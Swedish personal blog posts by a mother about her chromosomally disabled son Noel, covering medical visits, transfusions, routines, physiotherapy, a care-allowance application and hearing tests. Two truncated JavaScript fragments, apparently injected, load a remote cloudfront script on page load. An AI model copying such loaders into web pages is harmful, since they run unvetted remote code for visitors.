Bokad tid

Igår tog jag tag i något jag dragit mig för, att boka in en tid på folktandvården till Noel. Jag tycker väl att det är lika jobbigt att gå dit med honom som när en själv ska till tandläkaren. Hans tänder är väl lite som ”allt annat” med Noel, inte riktigt som normalt. Tänderna på den nedre käken är jätte sneda och verkar liksom växa på varandra, dessutom har några av hörntänderna bara kommit upp till hälften. Vi fick tid i början av Januari vilket känns jätteskönt. Jag förberedde dem på vem Noel är och att han inte är förtjust i undersökningar och är rädd för läkare av alla slag. Jag hoppas på att vi kan samarbeta när vi väl är där och att en tandläkare ändå lyckas få en viss överblick över hur det ser ut i Noels mun. Förhoppningsvis så kan han/hon då remittera till specialisttandvården och så kan vi försöka samköra även en kontroll av tänderna (och om något behöver åtgärdas) under samma narkos som allt annat ska undersökas.

Försökte boka en tid till mig själv med, på vårdcentralen, fast det är ju hopplöst. Har fruktansvärt ont i min nacke och  i ryggen, ibland så mycket att jag inte kan böja bak huvudet eller sova ordentligt. Dom rekommenderade kontakt med sjukgymnast i första hand, så får försöka ta tag i det så småningom, eller uppsöka en kiropraktor eller dylikt, tror mer på att knäcka till skiten…massage går bort, det är bland det värsta jag vet!

På tal om att boka, snart ska jag och Ted boka en resa, bara till han och mig, visserligen bara för en helg, men oj så spännande och så välbehövligt. Dessutom kommer det bli första gången jag flyger någonsin, pirrigt!

Står rätt stadigt numer med lite stöd!

På bättringsvägen

Det har varit en ganska hektisk vecka, varpå jag helt prioriterat bort bloggen, ja egen tid vid datorn över huvud taget. I måndags hade vi läkarbesök på BVC med Leon, plus vanlig kontroll, det gick bra, inga anmärkningar på den lilla. Han hade gått upp lite dåligt sen sist bara, 180g på lite mer än två veckor, fast inget som var oroväckande, han går ju ändå upp i vikt. Förmodligen så beror det på att även Leon är förkyld. Han äter ofta, men inte så mycket varje gång, han är också hängig och snorig, så det är nog rätt jobbigt att äta.
I onsdags hade vi läkarbesök med Noel, och så tog vi nytt HB, vikt, längd etc. Hans HB var rätt lågt så han fick blod i torsdags. Under läkarbesöket diskuterade vi mest maten och hans dåliga viktuppgång. Dietisten var också med under mötet. Egentligen kom vi inte fram till något nytt bortsett från att vi ska ge även extra fettillskott i varje måltid. Vi tänker börja göra Noels gröt på sondnäringen istället, på så sätt får han i sig 60 kcal extra/portion gröt. Vi gör vad vi kan när det kommer till maten/näring, vi får bara hoppas på att kurvan börjar gå uppåt snart och inte bara står still. Däremot så blev jag glad att Noel inte gått ner något medan han låg inne på sjukhuset och var så dålig, i onsdags stod vågen på 7080g, förstås jättelite för att vara 2 år, men ändå så är jag glad att han inte gått ner en massa.

Vi diskuterade även den kommande operationen nästa år. Det är väldigt mycket som ska samköras under narkosen. Både öron och ögon är involverade, samt att vi ska försöka få en specialisttandläkare att ta en titt på Noels tänder, som till min stora förtvivlan inte är riktigt som dom ska. Övre raden ser helt ok ut, men där nere så växer tänderna lite snett och vint, och hörntänderna har inte kommit upp helt, vet inte om dom kommer göra det heller. Jag vet inte alls vad man kan göra åt detta, men jag förstår att det är vanligt för ”kromosombarn” att ha problem med tänderna. Fler med erfarenhet av detta? Vi ska i vilket fall försöka få till allt samtidigt och det kommer troligast ske i februari eller Mars nästa år.

Noel är i alla fall på bättringsvägen från sin lunginflammation. Han är piggare på dagarna, och i 2 dagar nu så har han kunnat vara utan syrgasen nästan helt på dagtid igen :) Känns som jag dragit största vinsten på lotto! Det är verkligen jätteroligt att han mår så pass mycket bättre. Jag tar inget för givet, men jag hoppas att det vänder för gott nu. Han är dock väldigt snorig och täppt i näsan, nätterna är hemska då han knappt kan andas utan det tar bara stopp, det blir ett tråkigt ekorrhjul med nästäppan, koksalt och så syrgasen som får allt att torka igen. Känns som både han och Leon dragit på sig en ny förkylning igen, men jag hoppas att det går över snart eller i alla fall blir bättre på nätterna. Vore himmelskt att få några nätter utan spring och en massa larm hela tiden…

I torsdags fick Noel som sagt blod igen, nu gick det bara 4 veckor emellan transfusionerna, men det hjälpte verkligen den här gången, han var nere på nästan 80 i HB och med tanke på att lungorna inte är återhämtade igen så var det verkligen nödvändigt med blod. Han blev mycket piggare efteråt och vi kunde som sagt prova att ta bort syrgasen dagtid under längre perioder. Han har fortfarande rätt mycket syrgas nattetid, men det har han ju haft innan med i perioder. Vi får hoppas bara att han håller sig längre den här gången, vi försöker ju att glesa ut transfusionerna så mycket det går, men ibland så är det ju som sagt nödvändigt att han får blod även om det är på gränsen runt 90.

Annars är det mesta bra med oss. Vi tar en dag i taget. Det är alltid mer att göra när Noel är mer sjuk än vanligt, och nu när Leon är lite förkyld med så är det full rulle på dagarna (och nätterna), men dom är glada nästan hela tiden och sover ändå skapligt på nätterna, Noel sover ju även om det larmar, och även om han är täppt och störs av det så är han ju inte vaken nattetid, inte heller Leon, han äter några gånger men annars sover dom. Det är som sagt larmen som håller oss vakna eller om vi behöver hjälpa Noel med koksalt osv…

Här har ni världens gladaste sjukling;

Att våga

Jag tror det ibland är lätt att undvika olika situationer för att det någon gång innan varit jobbigt eller att man i förväg målar upp att det inte ska fungera etc. Mycket kring Noel handlar ofta om att försöka och att öva, mycket är en vanesak. Eller så går det i perioder, en period ville han inte alls åka vagn, den perioden var vi extremt isolerade i hemmet. Men nu uppskattar han det i kortare perioder. För oss så är rutiner och den annars tjatiga vardagen jätteviktiga, Noel har ju lite av ett autismliknade beteende, han mår bäst av rutiner och man märker att han själv gör egna rutiner och speciella ”ritualer” som att göra saker i en speciell ordning när han leker.

Men bortsett från rutinerna så är det även viktigt för oss att våga. Våga prova något nytt, inte vara rädda för att det inte ska fungera osv. Fungerar det inte så är det bara att vända och åka hem och prova vid ett senare tillfälle. Innan Noel fick lunginflammation så vågade jag mig på en hel del jag inte gjort tidigare. Som att fika med bägge barnen på stan. Ta med dem till köpcentret och gå runt alla fyra tillsammans. Jag tog med Noel hem till vänner och lekte en stund. Och vet ni, det fungerade faktiskt jättebra. Så länge han är sysselsatt med sina leksaker så är han nöjd, för det mesta 😉 En dag så tog vi med bägge barnen till Maxi (köpcentrum), det blev nästan precis innan Noel skulle sova middag, dömt att misslyckas egentligen, men, han somnade i vagnen och sov i nästan en timme och vi kunde i lugn och ro gå runt och kika och handla det vi skulle. I framtiden hoppas jag att vi vågar åka med bägge barnen utomlands, men då måste Noel var lite mer stabil rent hälsomässigt, jag vet att man får ta med egen syrgas om man flyger med SAS, men det vore underbart att ha semester utan syrgas.

Jag blir glad när något spontant fungerar, det gör mig lycklig och jag känner att vi är lite mer ”som alla andra”, missförstå mig rätt, vi gör mycket som andra småbarnsfamiljer gör, men med Noel är inte allt ”vanligt” alltid så givet. Så när små saker som att åka hem till vänner i några timmar fungerar problemfritt så blir jag väldigt glad. Däremot tar jag inte för givet att det ska fungera varje gång, men jag blir väldigt lycklig de gånger allt klaffar!

Till sommaren hoppas jag att vi kan våga oss på att vara på stranden med barnen. Jag hoppas, även om det är långt kvar, att Noel kanske kan krypa eller förflytta sig själv på något sätt till sommaren. För hans del så vore det ju otroligt roligt att kunna ta sig fram på eget bevåg.

Jag är inte rädd för att saker och ting vi planerat inte ska fungera. Däremot så väljer jag tillfällen då jag vågar lite mer än andra och tillfällen då jag väljer att låta bli!

En liten kille och ett funktionshinder

De flesta dagar med Noel är underbara. Dagar som flyter på, dagar utan sjukhusbesök, utan påminnelser om hur livet HAR varit. Dagar med glädje, skratt och kärlek. Det är få dagar nu mer som jag känner mig ledsen, rädd och nedstämd. Det är värre tillfällen nu mer då jag grubblar, funderar, oroar mig. Men så kommer ändå en sådan dag ibland. Igår var en sådan dag. En dag då jag tänkte mycket, reflekterade, mindes, oroade mig, blev påmind.

I början så var det lätt att se Noel som en sjuk liten kille med en kromosomavvikelse. Det var lättare att fokusera på nålstick, på undersökningar, operationer osv. Men ju mer tiden går, ju större Noel blir, ju friskare han blivit, ju mer han utvecklas så växer den där lilla killen Noel fram. I vårt hem och i vår familj så ser vi Noel, en liten glad kille. Noel är ju Noel för oss. Vi glömmer bort allt vad funktionshinder heter och lever i nuet. Allt annat runt omkring som skulle kunna påminna oss om något annat, att något är annorlunda, avvikande eller onormalt det försvinner, det mesta går på rutin och vi försöker ju faktiskt leva ett så vanligt småbarnsliv som är möjligt för oss.

Igår hade vi besök hemma av Noels nya sjukgymnast från habiliteringen. Hon var fantastisk. Fokuserade på rätt saker, förklarade bra, tog upp viktig fakta, lyssnade på våra önskemål, tog till sig vad vi berättade om Noel. Det var både glädjande och jobbigt att träffa henne igår. Alla möten med habiliteringen är väldigt givande, men dom är också extremt utmattande psykiskt, eftersom det alltid påminner om vad Noel inte kan, hur mycket efter han ligger. Vi som till vardags inte tänker så mycket på detta får oss en liten ”käftsmäll” varje gång. Fast jag tycker om att träffa vårt team på habiliteringen, dom finns ju där för att hjälpa till, för att stötta, och dom gör ett fantastiskt jobb.
Igår var fokus på att Noel ska lära sig att förflytta sig, krypa, åla, hasa osv. Vi fick tips på konkreta övningar osv. Hon påpekade även (något som vi misstänkt) att Noel är lite stelare i höger sida av kroppen, han belastar vänster sida mer vilket bland annat har lett till att hans högerfot är något sned. Vi fick en remiss till en ortoped, förhoppningsvis kan vi lösa detta endast genom att låta honom ha skor med hårdare sula på sig inomhus när han står/går/hoppar etc. Vi pratade väldigt mycket om kommunikation, hur vi ska kommunicera bättre med Noel genom enkla frågor och tecken och vänta på gensvar.

Överlag ett extremt givande möte. Men det kom mycket känslor efteråt. Känslor som att vi inte övar tillräckligt. Tankar på att Noel inte kan prata eller kommunicera så bra. Jag kände mig rätt usel igår. Kände att jag måste öva, öva, öva flera timmar om dagen, kände ångest över tidsbrist och att vi inte känt till rätt verktyg tidigare, så vi kanske kunde börjat ”krypträningen” tidigare osv. Fast nu har det gått en dag och det mesta har landat och sjunkit in. Jag övande med Noel i morse, och visst finns det tid, mitt i leken kan vi träna. Och jag tänkte på det där med kommunikation, vi förstår ju varandra, jag, Ted och Noel. Vi vet vad han vill och förstår honom. Vi kommunicerar genom kroppsspråk, känslor, tecken och till viss del språk, Noel förstår ju ex. Nej och dess innebörd. När jag tänkte efter på vilken resa vi gjort hittills så är jag ändå jäkligt stolt över oss, över Noel. Vi tränar och över massor, vi kämpar och tar oss sakta framåt. Noel gick miste om sina första 7 månader i livet, där fanns ingen tid eller möjlighet alls till träning. Då handlade livet om att överleva, att verkligen ta en dag i taget, en timme i taget.
Det blir så blandade känslor, sån berg och dalbana. Jag kan sörja att Noel inte kan vissa saker, vara ledsen över att han inte förstår osv. Samtidigt är jag så fruktansvärt glad och tacksam över att han ens lever idag och över hur långt han kommit hittills. Jag bara önskar ibland att jag kunde göra mer, att dygnet hade fler timmar och att jag hade mer ork 24/7. Man glömmer ibland att särskilja Noel som person och alla hans funktionshinder. Det är inte hans kromosomavvikelse som identifierar honom, det är det där underbara skrattet och den där enorma livsglädjen, Noel är en liten person på snart 2 år, inte ett eller flera funktionshinder! Men ibland så är det liksom som att funktionshindret tar över, man glömmer lätt bort Noel i det hela ibland. Som när Noel drar bort grimman i sömnen och man får tejpa om hundra gånger och saturationsmätaren väcker en 10 gånger på en natt, då blir man jävligt trött till slut, och irriterad, men det är ju egentligen inte Noels fel, det är hans lungsjukdom jag borde bli arg på :/ även om han sliter bort tejpen…

Jag är tacksam för habiliteringen, och jag tyckte det var jätteskönt att ses igår och komma igång med lite nya övningar osv. Dessutom så blev jag väldigt glad över en speciell sak, när Noels sjukgymnast svarade mig och sa;

– Jag tror också Noel kommer lära sig gå!

Rutiner

Livet har blivit väldigt inrutat hos oss, ett vardagsliv fyllt med rutiner. Inte sagt att vi inte kan vara spontana, det bara krävs lite mer planering. Jag gillar rutiner. Det ger en skön trygghet på något sätt, och allt blir så mycket lättare om alla rutiner följs.
Vi har märkt på Noel att han verkligen är i stort behov av rutiner. Han mår allra bäst om saker och ting sker i en viss ordning, ändrar man på något så blir han lätt orolig och stressad, eller så blir han ofokuserad och gnällig. Som exempel har vi maten, han äter allra bäst om jag matar honom, vilket säkert beror till största del på att jag är hemma med honom och ger honom de allra flesta måltiderna, han är van vid att jag ger honom mat, och det sätt jag matar honom på. Men det är inte bara det som ska gå på rutin. Vi ska helst bara använda den röda skeden, haklappen ska på först och matstolen ska stå på ett speciellt ställe i köket för att det ska fungera som allra bäst. Helst ska det inte vara för mycket distraherande ljud runt omkring, och helst ska han äta ifred. Han äter alltså sämre om vi äter middag tillsammans, då blir han distraherad av det som finns på matbordet och på att jag och Ted äter samtidigt. Annat som stör måltiden är om någon annan sitter bredvid, om jag pratar mycket med någon annan samtidigt eller om någon går fram och tillbaka i köket när han äter, helst ska ingen röra sig i närheten utan det ska vara lugn och ro. Då fungerar det oftast helt okej för Noel att äta. Ni förstår säkert att det alltså inte är optimalt att ge honom käk på ett fik eller hemma hos någon annan, det går, men det blir oftast skrikigt och han äter sällan upp en hel portion.

Mattider är något vi till största del följer slaviskt, alltså inte på minuten, men maten ska intas ungefär var 3e timma under dagen och i en specifik ordning. Vi har även andra rutiner, som på morgonen och kvällen och dessa ska ske i en viss ordning för bästa resultat.

Det är inte bara Noel som mår bäst av rutiner, det gör ju vi också. Allt blir så mycket enklare och jag märker på mig själv hur lätt jag blir stressad om exempel maten blir försenad eller om jag inte hinner ge lavemang på förmiddagen utan det blir senare och i så fall krockar med någon måltid etc. Då känner jag mig galet stressad och kan inte alls slappna av, det är ju liksom något som hänger över mig. Om allt flyter på under en dag så är det inga problem att hitta på saker, bara rutinerna följs någorlunda, då är dagen harmonisk och utan stress, men om den rubbas av exempel en sjukhustid som drar ut på tiden då blir vi alla stressade och det känns lätt som hela dagen är ”förstörd” och det istället handlar om att ”komma ikapp” dagsrutinerna. Det kan låta jobbigt och konstigt för många säkert, men för oss fungerar detta kanon och det är en enorm trygghet för oss alla att rutinerna finns och att dom faktiskt fungerar. Det känns också tryggt att det är just så inrutat som det är när lillebror kommer, det gör det lättare att hinna med annat emellan och att ge barnen egen tid under dagen. Förhoppningsvis kommer lillebrorsan kunna haka på Noels dagsrutiner när han blir lite äldre så som mattider osv, och det känns faktiskt väldigt skönt att dom redan är etablerade.

Jag tror även att det är nyttigt för Noel med alla rutiner. Han är ett barn med en kromosomavvikelse och även om det finns väldigt lite information om hans avvikelse så tror jag att han fungerar som många barn med olika syndrom och diagnoser, rutiner gör dem lugna och harmoniska, men rubbas dom så blir barnen lätt stressade och oroliga. Egentligen så är ju rutiner skitbra för alla barn, man kanske inte måste följa dem slaviskt, men det finns en slags trygghet i rutiner för alla barn, som att man på kvällen tar på pyjamas, borstar tänderna och läser godnattsaga, jag tror säkert att det blir lättare att somna för barnen om dom har strukturerade kvällsrutiner, sedan behöver dom ju inte följas slaviskt varje dag. Det är i alla fall vad jag tror och jag jag tycker det är skönt att vi ändå lyckats så bra med att få till ett passande ”schema” här hemma. Noel kommer säkert i framtiden även ha nytta av bildscheman etc, jag tror att han kommer må allra bäst av att ha det på ett speciellt sätt, då är han som mest lugn och harmonisk!

Äntligen färdig

Är äntligen klar med hela vårdbidragsansökan. Vi väntar fortfarande på två läkarintyg ifrån Stockholm som borde bli klara till Oktober. Men imorgon ska jag lägga allt på lådan, ska bara få allt utskrivet. Det blev 18 sidor i Word, helt sinnessjukt egentligen. Från början tänkte jag att det nog inte fanns så mycket att skriva, men när man väl sätter sig och verklige ska förklara i detalj hur vardagen fungerar med Noel så blir det helt plötsligt lite mer invecklat än känslan vi har att allt går på rutin. Även om det är rutin för oss så är det ju ändå en himla massa extra jobb och tillsyn än vad ett normalt barn kräver.

Fast det känns bättre nu än vad det gjorde förra veckan, nu när allt är klart kan vi skicka in allt och sedan bara vänta på ett beslut. Talade med vår handläggare förra veckan och han verkar faktiskt helt okej, mitt första intryck i alla fall, jag kanske tycker annorlunda senare. Men han var väldigt hjälpsam när det kom till merkostnadsfrågan och hur jag skulle skriva i ansökan, så det känns ju bra att han ändå vill hjälpa till så det blir så rätt som möjligt.

Hur som helst så är det en enorm lättnad att ansökan nu är klar och att vi skickar in den imorgon. Nu behöver vi inte tänka så mycket mer på det förutom om FK funderar över något, och så räknar jag givetvis med att behöva ligga på om att dom ska handlägga så snart som möjligt…

Funderingar

Ganska ofta funderar jag lite kring Noels alla funktionshinder och hans kromosomavvikelse, hur framtiden kommer bli, hur Noel kommer bli, det är många tankar som rör sig i huvudet.

– Kommer han att kunna lära sig kommunicera och ropa på ex mamma och pappa om han behöver hjälp?
– Kommer han kunna förstå samspel och lek med andra barn och vuxna?
– Kommer han kunna sköta sin hygien själv?
– Kommer han kunna andas utan andningsstöd?
– Kommer han rita teckningar och göra pyssel till oss i familjen?
– Kommer han kunna spela fotboll med sina kusiner?
– Kommer han kunna gå i skolan och lära sig läsa och skriva?
– Kommer han få det lättare att gå upp i vikt och växa?
– Kommer andra barn reta honom?
– Kommer andra vuxna se ner på honom för att han är ”annorlunda”?
– Kommer han leva ”livet ut”?
– Kommer han förstå och känna sig annorlunda än andra barn?
– Kommer människor i hans närhet ha förståelse för att han är annorlunda och respektera honom som individ?
– Kommer människor ta sig tid att lära känna Noel på djupet, eller ”strunta” i det för att det tar tid för honom att bygga upp en relation?
– Kommer han kunna leva någorlunda självständigt som vuxen?

Jag har många funderingar och tankar kring Noels framtid, men det största frågan av dem alla är hur jag som förälder kommer hanterar ovanstående. Kommer jag bry mig om omvärldens tankar och åsikter? Kommer vi få tillräckligt med hjälp och förståelse från myndigheter och nära och kära? Kommer vi orka kämpa hela vägen?

Det enda fakta som jag vet är att vi älskar Noel helt villkorslöst och Noel älskar oss och livet mer än någonting. Han vill finnas till och han vill utvecklas! Det jag vet är att vi kommer göra allt vi kan för att han ska få ett så bra och värdigt liv som möjligt, vad det innebär idag vet jag inte, men vi tar ju en dag i taget. Vi ska kämpa och slåss för honom, och vi ska försöka få omvärlden att respektera och lära känna vår son precis på det sätt som han är värd att kännas vid!

Vårdbidragsansökan…..

Är helt slut på grund av det där jävla vårdbidraget. Har nu skrivit klart vår bilaga om Noels funktionsnedsättningar samt vård och tillsyn. Det blev 17 A4 i Word. Fick liksom nog i förrgår när magen krånglade för Noel så allt bara brast. Känner mig hemsk när jag skriver om Noels behov och hans funktionsnedsättningar. Det känns verkligen hemskt att bara fokusera på allt negativt. Men jag kan ju heller inte skriva att allt har blivit så mycket vardag för oss att det känns normalt med övervak som larmar på nätterna och en mage som krånglar så Noel har jätteont. För även om det blivit vardag för oss så är det ju ändå inte ”normalt”. Det är svårt när man skriver för det blir som man kastar allt i ansikten på sig själv också, att så här jävla jobbigt har vi det egentligen, fast man kanske hittat vägar att bearbeta, jobba runt problemen och hitta lösningar på hur man ska hantera sjukdomarna och funktionsnedsättningarna. Det känns så motsägelsefullt att som förälder sitta och beskriva hur jäkla jobbigt livet är med det barn man älskar mest av allt, det känns så otroligt fel!

Samtidigt så lever vi ju långt ifrån ett ”vanligt småbarns liv”, det vet jag, men det här är ju ändå vårt liv som vi anpassat oss efter och som vi lever idag. Det känns så fel att säga att det är jobbigt och beskriva hur jäkla lång tid allt tar och hur mycket extra jobb det innebär med Noel. För innerst inne vill jag ju inte se det så, vi hanterar ju Noels behov och rättar oss därefter, det är ju det som är vår vardag, precis så som andra tar hand om sina barn så tar ju vi hand om Noel även om han kräver mer ”jobb” än ett friskt barn. Det bara känns så jävla ledsamt att lyfta fram alla jobbiga bitar och allt som Noel inte kan. Känns som man sitter och letar fel på sitt barn och bara beskriver hur jäkla hemskt livet är med honom…fy, det känns faktiskt inte alls bra. Även om jag varit ärlig i vår ansökan så känns det som en inbordes strid bland känslorna när jag skriver ner allt i ord.
Men nu är i alla fall vår del färdig. Och som sagt, det blev väldigt många sidor, väldigt mycket att förklara och fruktansvärt jobbigt att skriva ihop. Nu ska vi bara skriva vilka merkostnader vi har och sedan skicka in skiten till försäkringskassan. Vi har fått hälften av de läkarintyg vi frågat efter. Det gäller att ligga på och att ringa och ”tjata” flera gånger. De intyg vi fått problemfritt och som är korrekta är från habiliteringen. Läkarintyget som ska styrka alla Noels sjukdomar och funktionsnedsättningar är inte ens komplett så det måste vi få kompletterat med fler uppgifter. Dessutom så väntar vi på två intyg ifrån Stockholm, vilket verkar vara betydligt krångligare än vad jag trodde. Noels kirurg och läkare som har hand om hans analatresi är inte tillbaka fören i slutet av september så det intyget får vi skicka i efterhand nån gång i oktober. Och idag ringde en läkare från barnrespiratoriska centret på ALB. Den läkare som haft hand om Noels lungutreding där har inte tid att skriva intyget, så det har lämnats över till någon annan läkare som aldrig haft Noel. Han i sin tur blev nästan irriterad över att jag bett om ett intyg. Han påpekade flera gånger att det var Norrköpings uppgift och att han minsann fick sitta efter arbetstid med läkarintyg och inte fick extra betalt för detta. Det hjälpte inte direkt att jag förklarade för honom att Noel inte har en egen ansvarig läkare i Norrköping som har 100% koll på honom, alla utredningar och sjukdomar så det därför krävs ett mer grundligt läkarintyg just kring lungproblematiken. Han var tveksam till att skriva ett intyg över huvud taget, för det tog ju minst en timme att skriva, det var först när jag förklarade att även Noels barnkirurg från ALB skulle skriva ett intyg angående hans analatresi som han gav med sig och lovade att skriva ihop något, men det skulle ta minst 2-3 veckor innan han kunde göra detta, eftersom han hade minst 20 intyg som skulle skriva, och glöm inte att det var efter arbetstid och att han inte fick betalt för detta….suck..som att en annan tycker det är roligt att jaga läkarintyg och att skriva ansökan själv!

Förhoppningsvis kan vi komplettera ansökan med alla intyg i oktober. Men vi får väl hoppas att dom kan påbörja utredningen nu i september ändå. I alla fall allt grundläggande.

Ska bli skönt när allt är inskickat och klart. Då börjar bara alla samtal till FK om att dom ska tag tag i ärendet och skynda på allt..Undrar om man kunde få skriva med i ansökan alla samtal man har till FK och x antal timmar man sitter i deras jävla telefonkö….vore lite kul!

Besök på US – öronmottagningen

Vi hade tid idag till hörcentralen på US med Noel, tyvärr hade audionomen som skulle göra hörseltest på Noel blivit sjuk, men vi fick ändå träffa en utav överläkarna på avdelningen. Han var en väldigt lyhörd och empatisk man, vilket jag verkligen uppskattar. Jag uppskattar verkligen när en läkare har läst på i journalen innan och att dem tagit reda på fakta innan dem träffar en patient. Han hade till och med försökt leta på fakta kring Noels kromosomavvikelse om det eventuellt kunde stå något där kring hörselproblem, fast det gör det inget, fakta är att det knappt finns någon information kring Noels avvikelse alls. Utan att göra något hörseltest så var vi ändå överens om att Noel verkar höra helt okej men att vi ska försöka göra ett slags test i höst i vilket fall och att vi ska passa på att kolla hörseln under narkos när han ändå ska sövas i Stockholm i början på nästa år. Jag tyckte om att han lyssnade på mig som förälder och på vad jag hade att säga, det är ju ändå vi som sitter inne på den mesta samlade kunskapen kring Noel, speciellt om sådant som inte står i någon journal.

Vi ska helt enkelt försöka få till att samordna hörsel och synundersökning i samband med narkosen efter nyår. Det känns helt okej för oss. Vi märker ju att Noel hör, sedan kan han ju ha någon form av nedsättning, och det är det vi vill ta reda på, så att han kan få bästa möjliga hjälp om han nu behöver det, han har ju rätt till de bästa förutsättningarna i livet, och då måste vi se till att han får det också!

 

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Hörselundersökningen

I fredags var det således dags för ett nytt försök att göra hörselundersökning, ni vet det där som man i regel gör på sina barn när de är nyfödda. Sist var Noel kanske 3-4 månader gammal och hade både hjärtsvikt och var rejält förkyld, det gick med andra ord inget vidare. Mitt hoppas tändes dock i fredags när han somnade inne i undersökningsrummet, då tänkte jag att det här det kommer gå kanon, som en dans. Men så fel jag hade. Undersökningen gav inga utslag alls och blev alltså underkänd. Det är nog inte det att Noel inte hör, för det gör han verkligen, utan det berodde säkert på den mängd vax som han har i sina öron, han kliar ofta i öronen och läkarna säger ofta att det är för mycket vax för att kunna se bra in i öronen. Det räcker alltså med lite, lite vax, en liten förkylning eller joller för att undersökningen inte ska lyckas.

Vi blev remitterade till Linköping för att göra ett annat slags test med elektroner istället. Hörseln känns på något sätt viktigare än synen med tanke på språkutveckling och kommunikation, så har Noel en hörselnedsättning så känns det extremt viktigt att få reda på det och ge honom hjälp med en gång. Anledningen till att vi är så ”noga” med att undersöka ögon och öron ordentligt är så enkel som att de flesta barn med kromosomavvikelser oftast har något problem med syn och hörsel, det behöver dock inte vara något stort och omfattande, något brytningsfel och kanske lite nedsatt hörsel på något öra, eller trånga hörselgångar som ofta blir vätskefyllda och på så vis påverka hörseln.

Får se när vi får en ny tid till Linköping, förhoppningsvis blir det innan sommaren, annars lär det inte bli av fören till hösten.

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>